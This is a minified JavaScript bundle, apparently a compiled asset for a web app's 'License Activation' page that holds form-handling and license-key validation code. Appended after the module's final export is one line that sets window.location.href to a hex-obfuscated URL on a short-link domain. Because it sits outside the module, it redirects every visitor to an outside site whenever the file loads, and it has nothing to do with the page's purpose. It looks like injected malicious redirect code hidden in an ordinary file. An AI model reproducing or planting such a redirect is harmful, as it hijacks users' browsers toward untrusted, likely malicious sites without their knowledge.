&r.defaultValues().then(s=>{Xe(s,r.resetOptions),g.state.next({isLoading:!1})}),_updateFormState:s=>{t={...t,...s}},_disableForm:$t,_subjects:g,_proxyFormState:x,_setErrors:J,get _fields(){return i},get _formValues(){return n},get _state(){return u},set _state(s){u=s},get _defaultValues(){return a},get _names(){return h},set _names(s){h=s},get _formState(){return t},set _formState(s){t=s},get _options(){return r},set _options(s){r={...r,...s}}},trigger:ce,register:Ne,handleSubmit:Je,watch:Ht,setValue:B,getValues:$e,reset:Xe,resetField:Kt,clearErrors:Wt,unregister:Ce,setError:ze,setFocus:(s,l={})=>{const o=d(i,s),y=o&&o._f;if(y){const f=y.refs?y.refs[0]:y.ref;f.focus&&(f.focus(),l.shouldSelect&&f.select())}},getFieldState:Ke}}function kr(e={}){const r=p.useRef(),t=p.useRef(),[i,a]=p.useState({isDirty:!1,isValidating:!1,isLoading:ee(e.defaultValues),isSubmitted:!1,isSubmitting:!1,isSubmitSuccessful:!1,isValid:!1,submitCount:0,dirtyFields:{},touchedFields:{},validatingFields:{},errors:e.errors||{},disabled:e.disabled||!1,defaultValues:ee(e.defaultValues)?void 0:e.defaultValues});r.current||(r.current={...Sr(e),formState:i});const n=r.current.control;return n._options=e,qe({subject:n._subjects.state,next:u=>{wt(u,n._proxyFormState,n._updateFormState,!0)&&a({...n._formState})}}),p.useEffect(()=>n._disableForm(e.disabled),[n,e.disabled]),p.useEffect(()=>{if(n._proxyFormState.isDirty){const u=n._getDirty();u!==i.isDirty&&n._subjects.state.next({isDirty:u})}},[n,i.isDirty]),p.useEffect(()=>{e.values&&!re(e.values,t.current)?(n._reset(e.values,n._options.resetOptions),t.current=e.values,a(u=>({...u}))):n._resetDefaultValues()},[e.values,n]),p.useEffect(()=>{e.errors&&n._setErrors(e.errors)},[e.errors,n]),p.useEffect(()=>{n._state.mount||(n._updateValid(),n._state.mount=!0),n._state.watch&&(n._state.watch=!1,n._subjects.state.next({...n._formState})),n._removeUnmounted()}),p.useEffect(()=>{e.shouldUnregister&&n._subjects.values.next({values:n._getWatch()})},[e.shouldUnregister,n]),r.current.formState=At(i,n),r.current}var Cr="Label",Rt=q.forwardRef((e,r)=>v.jsx(Zt.label,{...e,ref:r,onMouseDown:t=>{var a;t.target.closest("button, input, select, textarea")||((a=e.onMouseDown)==null||a.call(e,t),!t.defaultPrevented&&t.detail>1&&t.preventDefault())}}));Rt.displayName=Cr;var It=Rt;const Nr=Xt("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),Tt=q.forwardRef(({className:e,...r},t)=>v.jsx(It,{ref:t,className:he(Nr(),e),...r}));Tt.displayName=It.displayName;const Lr=vr,Mt=q.createContext({}),Rr=({...e})=>v.jsx(Mt.Provider,{value:{name:e.name},children:v.jsx(_r,{...e})}),Se=()=>{const e=q.useContext(Mt),r=q.useContext(Ut),{getFieldState:t,formState:i}=je(),a=t(e.name,i);if(!e)throw new Error("useFormField should be used within <FormField>");const{id:n}=r;return{id:n,name:e.name,formItemId:`${n}-form-item`,formDescriptionId:`${n}-form-item-description`,formMessageId:`${n}-form-item-message`,...a}},Ut=q.createContext({}),Ot=q.forwardRef(({className:e,...r},t)=>{const i=q.useId();return v.jsx(Ut.Provider,{value:{id:i},children:v.jsx("div",{ref:t,className:he("space-y-2",e),...r})})});Ot.displayName="FormItem";const Ir=q.forwardRef(({className:e,...r},t)=>{const{error:i,formItemId:a}=Se();return v.jsx(Tt,{ref:t,className:he(i&&"text-destructive",e),htmlFor:a,...r})});Ir.displayName="FormLabel";const Pt=q.forwardRef(({...e},r)=>{const{error:t,formItemId:i,formDescriptionId:a,formMessageId:n}=Se();return v.jsx(Yt,{ref:r,id:i,"aria-describedby":t?`${a} ${n}`:`${a}`,"aria-invalid":!!t,...e})});Pt.displayName="FormControl";const Tr=q.forwardRef(({className:e,...r},t)=>{const{formDescriptionId:i}=Se();return v.jsx("p",{ref:t,id:i,className:he("text-[0.8rem] text-muted-foreground",e),...r})});Tr.displayName="FormDescription";const Bt=q.forwardRef(({className:e,children:r,...t},i)=>{const{error:a,formMessageId:n}=Se(),u=a?String(a==null?void 0:a.message):r;return u?v.jsx("p",{ref:i,id:n,className:he("text-[0.8rem] font-medium text-destructive",e),...t,children:u}):null});Bt.displayName="FormMessage";const Mr=tt.object({license_key:tt.string({required_error:S("License Key Field is empty")}).min(1,S("Enter valid license key"))});var ct=function(e,r,t){if(e&&"reportValidity"in e){var i=d(t,r);e.setCustomValidity(i&&i.message||""),e.reportValidity()}},qt=function(e,r){var t=function(a){var n=r.fields[a];n&&n.ref&&"reportValidity"in n.ref?ct(n.ref,a,e):n.refs&&n.refs.forEach(function(u){return ct(u,a,e)})};for(var i in r.fields)t(i)},Ur=function(e){return e instanceof Date},Or=function(e){return e==null},Pr=function(e){return typeof e=="object"},Br=function(e){return!Or(e)&&!Array.isArray(e)&&Pr(e)&&!Ur(e)},qr=function(e){return/^\w*$/.test(e)},Ue=function(e,r,t){for(var i=-1,a=qr(r)?[r]:function(x){return g=x.replace(/["|']|\]/g,"").split(/\.|\[/),Array.isArray(g)?g.filter(Boolean):[];var g}(r),n=a.length,u=n-1;++i<n;){var h=a[i],_=t;if(i!==u){var V=e[h];_=Br(V)||Array.isArray(V)?V:isNaN(+a[i+1])?{}:[]}e[h]=_,e=e[h]}return e},Wr=function(e,r){r.shouldUseNativeValidation&&qt(e,r);var t={};for(var i in e){var a=d(r.fields,i),n=Object.assign(e[i]||{},{ref:a&&a.ref});if(Hr(r.names||Object.keys(e),i)){var u=Object.assign({},d(t,i));Ue(u,"root",n),Ue(t,i,u)}else Ue(t,i,n)}return t},Hr=function(e,r){return e.some(function(t){return t.startsWith(r+".")})},$r=function(e,r){for(var t={};e.length;){var i=e[0],a=i.code,n=i.message,u=i.path.join(".");if(!t[u])if("unionErrors"in i){var h=i.unionErrors[0].errors[0];t[u]={message:h.message,type:h.code}}else t[u]={message:n,type:a};if("unionErrors"in i&&i.unionErrors.forEach(function(x){return x.errors.forEach(function(g){return e.push(g)})}),r){var _=t[u].types,V=_&&_[i.code];t[u]=Et(u,r,t,a,V?[].concat(V,i.message):i.message)}e.shift()}return t},Kr=function(e,r,t){return t===void 0&&(t={}),function(i,a,n){try{return Promise.resolve(function(u,h){try{var _=Promise.resolve(e[t.mode==="sync"?"parse":"parseAsync"](i,r)).then(function(V){return n.shouldUseNativeValidation&&qt({},n),{errors:{},values:t.raw?i:V}})}catch(V){return h(V)}return _&&_.then?_.then(void 0,h):_}(0,function(u){if(function(h){return Array.isArray(h==null?void 0:h.errors)}(u))return{values:{},errors:Wr($r(u.errors,!n.shouldUseNativeValidation&&n.criteriaMode==="all"),n)};throw u}))}catch(u){return Promise.reject(u)}}};function zr(){const e=dt(),r=kr({resolver:Kr(Mr),defaultValues:{license_key:""}}),{isPending:t,mutateAsync:i}=ft("license/activate");async function a(n){try{await i(n),Fe.success(S("License Activated Successfully")),r.reset(),e.invalidateQueries({queryKey:["license/detail"]})}catch(u){Fe.error((u==null?void 0:u.message)??S("Error Activating License")),r.reset()}}return v.jsx(Lr,{...r,children:v.jsx("form",{onSubmit:r.handleSubmit(a),children:v.jsxs(yt,{children:[v.jsx(ht,{children:v.jsx(vt,{children:S("Activate License")})}),v.jsx(mt,{children:v.jsx(Rr,{control:r.control,name:"license_key",render:({field:n})=>v.jsxs(Ot,{children:[v.jsx(Pt,{children:v.jsx(cr,{placeholder:S("Enter License Key"),disabled:t,...n})}),v.jsx(Bt,{})]})})}),v.jsx(gt,{children:v.jsxs(_e,{variant:"default",type:"submit",disabled:t,className:"gap-2",children:[v.jsx("span",{children:S("Activate License")}),t?v.jsx(Oe,{className:"h-4 w-4 animate-spin"}):null]})})]})})})}function ts(){const{data:e,isLoading:r,isFetching:t}=ur();return v.jsx(er,{title:S("License Activation"),isLoading:r,isFetching:t,breadcrump:[{label:e!=null&&e.activation_key?S("Activation Detail"):S("Activate License")}],children:v.jsx("div",{children:e&&(e.activation_key?v.jsx(fr,{detail:e},e.activation_key):v.jsx(zr,{}))})})}export{ts as default};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";